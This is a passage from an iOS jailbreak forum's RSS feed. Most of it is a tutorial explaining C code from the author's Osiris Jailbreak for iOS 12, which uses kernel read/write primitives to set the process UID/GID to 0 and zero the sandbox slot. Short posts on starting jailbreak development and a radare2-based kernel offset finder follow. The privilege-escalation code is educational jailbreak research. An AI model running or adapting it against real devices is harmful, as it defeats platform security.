uint64_t   p_memstat_idle_delta;         /* abstime delta spent in idle band */<br />
int32_t           p_memstat_memlimit;           /* cached memory limit, toggles between active and inactive limits */<br />
int32_t           p_memstat_memlimit_active; /* memory limit enforced when process is in active jetsam state */<br />
int32_t           p_memstat_memlimit_inactive; /* memory limit enforced when process is in inactive jetsam state */<br />
#if CONFIG_FREEZE<br />
uint32_t          p_memstat_suspendedfootprint; /* footprint at time of suspensions */<br />
#endif /* CONFIG_FREEZE */<br />
#endif /* CONFIG_MEMORYSTATUS */<br />
 <br />
/* cached proc-specific data required for corpse inspection */<br />
pid_t             p_responsible_pid; /* pid resonsible for this process */<br />
_Atomic uint32_t  p_user_faults; /* count the number of user faults generated */<br />
 <br />
struct os_reason     *p_exit_reason;<br />
};</code></div></div><br />
Here is the code from my Osiris Jailbreak for iOS 12:<br />
 <br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>uint64_t findOurselves(){<br />
    static uint64_t self = 0;<br />
    if (!self) {<br />
        self = ReadKernel64(current_task + OFFSET(task, bsd_info));<br />
        printf("[i] Found Ourselves at 0x%llx&#92;n", self);<br />
    }<br />
    return self;<br />
}</code></div></div><br />
A simple function which returns an uint64_t (an address / a pointer) to ourselves in the kernel.<br />
The ReadKernel64(...) function is part of the exploit, the memory read primitive and it's actually a wrapper around rk64_via_tfp0() which is a wrapper around another function which is a wrapper around another until we get to mach_vm_read_overwrite() which is part of the iOS kernel. <br />
<br />
The current_task is exported as part of the exploit in kernel_memory.h as such:<br />
 <br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>/*<br />
* current_task<br />
*<br />
* Description:<br />
* The address of the current task in kernel memory.<br />
*/<br />
 <br />
extern uint64_t current_task;</code></div></div><br />
The OFFSET(task, bsd_info) part is a macro defined in parameters.h on Brandon Azad's exploit:<br />
 <br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>// Generate the name for an offset.<br />
 <br />
#define OFFSET(base_, object_) _##base_##__##object_##__offset_</code></div></div><br />
If everything goes fine and we have proper Kernel Read privileges and we have the correct offsets, we should now have our address which is our representation inside the Kernel. Let the games begin!<br />
At this point, getting ROOT and escaping the iOS Sandbox is ridiculously simple. Here's the code from my Osiris Jailbreak for iOS 12.<br />
 <br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>int elevatePrivsAndShaiHulud(){<br />
    if (!shouldUseMachSwap) {<br />
        printf("[i] Preparing to elevate own privileges!&#92;n");<br />
        uint64_t selfProc = findOurselves();<br />
        uint64_t creds = kernel_read64(selfProc + off_p_ucred);<br />
        <br />
        // GID<br />
        kernel_write32(selfProc + off_p_gid, 0);<br />
        kernel_write32(selfProc + off_p_rgid, 0);<br />
        kernel_write32(creds + off_ucred_cr_rgid, 0);<br />
        kernel_write32(creds + off_ucred_cr_svgid, 0);<br />
        printf("[i] STILL HERE!!!!&#92;n");<br />
        <br />
        // UID<br />
        creds = kernel_read64(selfProc + off_p_ucred);<br />
        kernel_write32(selfProc + off_p_uid, 0);<br />
        kernel_write32(selfProc + off_p_ruid, 0);<br />
        kernel_write32(creds + off_ucred_cr_uid, 0);<br />
        kernel_write32(creds + off_ucred_cr_ruid, 0);<br />
        kernel_write32(creds + off_ucred_cr_svuid, 0);<br />
        printf("[i] Set UID = 0&#92;n");<br />
        <br />
        // ShaiHulud<br />
        creds = kernel_read64(selfProc + off_p_ucred);<br />
        uint64_t cr_label = kernel_read64(creds + off_ucred_cr_label);<br />
        kernel_write64(cr_label + off_sandbox_slot, 0);<br />
 <br />
    }<br />
    if (geteuid() == 0) {<br />
        FILE * testfile = fopen("/var/mobile/OsirisJailbreak", "w");<br />
        if (!testfile) {<br />
            printf("[i] We failed! Still Sandboxed&#92;n");<br />
            return -2; // Root, but sandboxed :/<br />
        }else {<br />
            printf("[i] Nuked SandBox, FREEEEEEEEE!!!!!!&#92;n");<br />
            printf("[+] Wrote file OsirisJailbreak to /var/mobile/OsirisJailbreak successfully!&#92;n");<br />
            return 0; // FREE!!!!<br />
        }<br />
    } else {<br />
        return -1; // Not even root :(<br />
    }<br />
    return 0;<br />
}</code></div></div><br />
Bit of a bigger function, so let's break it point by point.<br />
The "if (!shouldUseMachSwap) { ... }" should be ignored. It's there because Osiris Jailbreak uses two exploits, Brandon Azad's and Sparkey's. Brandon's requires that I escape the Sandbox myself, while Sparkey's escapes the sandbox for me, so no need to run the function in that case.<br />
<br />
Immediately after that, we find ourselves using the above-mentioned function, then we do a kernel read to grab our credentials from our process representation in the kernel, which happens to be at selfProc + off_p_ucred. So, selfProc is the address returned by the findOurselves() function and it serves as our base address. Our process' representation in the kernel starts there. The off_p_ucred is an offset which as the value 0xF8 as you can see on the offsets code. So base address + 0xF8 = the address of our ucred structure.<br />
<br />
After that, you can see that I labeled a block "GID" and another one "UID". GID stands for Group Identifier and UID for User Identified. By default, our app belongs like any other AppStore app to mobile, a less privileged user on iOS with UID 501. We want root because it has way more privileges, that would be UID 0. For the group, we want "wheel" so again, GID 0, but we're listed as mobile (501) already in the kernel. No problem, these are not constants so we can do a simple Kernel Write to those offsets inside our structure to change our GID and UID to 0, so we do:<br />
 <br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code> <br />
 // GID<br />
        kernel_write32(selfProc + off_p_gid, 0);<br />
        kernel_write32(selfProc + off_p_rgid, 0);<br />
        kernel_write32(creds + off_ucred_cr_rgid, 0);<br />
        kernel_write32(creds + off_ucred_cr_svgid, 0);<br />
        printf("[i] STILL HERE!!!!&#92;n");<br />
        <br />
        // UID<br />
        creds = kernel_read64(selfProc + off_p_ucred);<br />
        kernel_write32(selfProc + off_p_uid, 0);<br />
        kernel_write32(selfProc + off_p_ruid, 0);<br />
        kernel_write32(creds + off_ucred_cr_uid, 0);<br />
        kernel_write32(creds + off_ucred_cr_ruid, 0);<br />
        kernel_write32(creds + off_ucred_cr_svuid, 0);<br />
        printf("[i] Set UID = 0&#92;n");</code></div></div><br />
The kernel_write32(...) function is part of the exploit. One of the Kernel Write primitives. The off_p_uid, off_p_ruid, off_p_gid,  off_p_rgid, off_ucred_cr_uid, off_ucred_cr_ruid and off_ucred_cr_svuid are all offsets from the above-mentioned huge offsets list. We have to set 0 to all these for the desired effect. Once we wrote 0, bam! we're "root:wheel" and not mobile (501) anymore.<br />
<br />
The next thing we do is to nuke the Sandbox. By default, we're sandboxed like any third-party iOS app. This means that we can ONLY write to our App's own folders, and we cannot do much. We want full system access so it's time to leave the sand and the box for a better landscape.<br />
<br />
In order to nuke the Sandbox, all we need to do is to find again our process' representation in the kernel, use the offsets to locate the cr_label through a kernel_read64(...), then to the cr_label address we add the off_sandbox_slot offset which is 0x10 on iOS 12, and then at the address we obtain we just have to write 0. We do that like this on Osiris Jailbreak:<br />
 <br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code> <br />
 // ShaiHulud<br />
        creds = kernel_read64(selfProc + off_p_ucred);<br />
        uint64_t cr_label = kernel_read64(creds + off_ucred_cr_label);<br />
        kernel_write64(cr_label + off_sandbox_slot, 0);</code></div></div><br />
Now we should be outta Sandbox and root, but we should do a check before we continue, just in case so we check if we are root through "if (geteuid() == 0) {...} ". If we are root, we proceed to create a new file in a path we should not be allowed to if we're still sandboxed. For this, the "/var/mobile/" suffices. We try to create there an empty file called "OsirisJailbreak". If the file is created, we're clearly out of the sandbox and root, so we suck sid (succeed), else, we failed hard - probably wrong offsets or bad read / write primitives or permissions.<br />
Here's the code from Osiris Jailbreak for performing the check:<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code> <br />
if (geteuid() == 0) {<br />
        FILE * testfile = fopen("/var/mobile/OsirisJailbreak", "w");<br />
        if (!testfile) {<br />
            printf("[i] We failed! Still Sandboxed&#92;n");<br />
            return -2; // Root, but sandboxed :/<br />
        }else {<br />
            printf("[i] Nuked SandBox, FREEEEEEEEE!!!!!!&#92;n");<br />
            printf("[+] Wrote file OsirisJailbreak to /var/mobile/OsirisJailbreak successfully!&#92;n");<br />
            return 0; // FREE!!!!<br />
        }<br />
    } else {<br />
        return -1; // Not even root :(<br />
    }<br />
    return 0;</code></div></div><br />
If everything went fine, we should return 0 ("FREE!!!!").<br />
<br />
And that is all, that's how you get root and how you escape Sandbox while building your own jailbreak on iOS 12 once you have tfp0. <img src="https://jailbreak.fce365.info/images/smilies/smile.png" alt="Smile" title="Smile" class="smilie smilie_1" /><br />
<br />
I hope you enjoyed this article.<br />
All the best, GeoSn0w (@FCE365).]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Curious]]></title>
			<link>https://jailbreak.fce365.info/Thread-Curious</link>
			<pubDate>Mon, 15 Jul 2019 19:13:10 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://jailbreak.fce365.info/member.php?action=profile&uid=183">Creoleotter</a>]]></dc:creator>
			<guid isPermaLink="false">https://jailbreak.fce365.info/Thread-Curious</guid>
			<description><![CDATA[Simply put. Where does one begin their development in creating a jb. And what “skill” or knowledge is needing in finding exploits necessary to compile one?]]></description>
			<content:encoded><![CDATA[Simply put. Where does one begin their development in creating a jb. And what “skill” or knowledge is needing in finding exploits necessary to compile one?]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Kernel offset finder]]></title>
			<link>https://jailbreak.fce365.info/Thread-Kernel-offset-finder</link>
			<pubDate>Sun, 30 Jun 2019 14:34:18 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://jailbreak.fce365.info/member.php?action=profile&uid=71">userlandkernel</a>]]></dc:creator>
			<guid isPermaLink="false">https://jailbreak.fce365.info/Thread-Kernel-offset-finder</guid>
			<description><![CDATA[Many offset finders exist for getting the offsets (locations) of specific functions and constants in the kernelcache.<br />
<br />
However, these are very compactly and simple written in C.<br />
Each time the kernel changes the offset finder needs to be updated.<br />
And one needs to manually specify most offsets to find.<br />
<br />
For convenience, I wrote a script that uses the radare2 disassembler to get the symbols, parses and format them and storing them in a c and header file so you can use them directly in projects.<br />
<br />
To get started you'll need to install radare2.<br />
On debian linux you can do that with the following command:<br />
<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>sudo apt-get install radare2</code></div></div><br />
<br />
On macOS you can use brew to install it<br />
<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>brew install radare2</code></div></div><br />
<br />
The offset finder uses radare2 (a free and opensource disassembler) to print out all the symbols then strips the unnamed symbols and formats them into a struct so they then can be stored and used in a c and h file.<br />
Duplicate symbols are renamed in the c file.<br />
<br />
You can find the offset finder and many generated structures of offsets on my website for tools: <a href="http://kernelium.com" target="_blank" rel="noopener" class="mycode_url">http://kernelium.com</a><br />
<br />
The script is not very clean, improvements are welcome.<br />
<br />
To automate the offset finder one can use blacktop's ipsw tool from GitHub that allows you to download and decompress all kernelcaches for a given iOS version.<br />
<br />
I hope you can find use in it]]></description>
			<content:encoded><![CDATA[Many offset finders exist for getting the offsets (locations) of specific functions and constants in the kernelcache.<br />
<br />
However, these are very compactly and simple written in C.<br />
Each time the kernel changes the offset finder needs to be updated.<br />
And one needs to manually specify most offsets to find.<br />
<br />
For convenience, I wrote a script that uses the radare2 disassembler to get the symbols, parses and format them and storing them in a c and header file so you can use them directly in projects.<br />
<br />
To get started you'll need to install radare2.<br />
On debian linux you can do that with the following command:<br />
<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>sudo apt-get install radare2</code></div></div><br />
<br />
On macOS you can use brew to install it<br />
<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>brew install radare2</code></div></div><br />
<br />
The offset finder uses radare2 (a free and opensource disassembler) to print out all the symbols then strips the unnamed symbols and formats them into a struct so they then can be stored and used in a c and h file.<br />
Duplicate symbols are renamed in the c file.<br />
<br />
You can find the offset finder and many generated structures of offsets on my website for tools: <a href="http://kernelium.com" target="_blank" rel="noopener" class="mycode_url">http://kernelium.com</a><br />
<br />
The script is not very clean, improvements are welcome.<br />
<br />
To automate the offset finder one can use blacktop's ipsw tool from GitHub that allows you to download and decompress all kernelcaches for a given iOS version.<br />
<br />
I hope you can find use in it]]></content:encoded>
		</item>
	</channel>
</rss>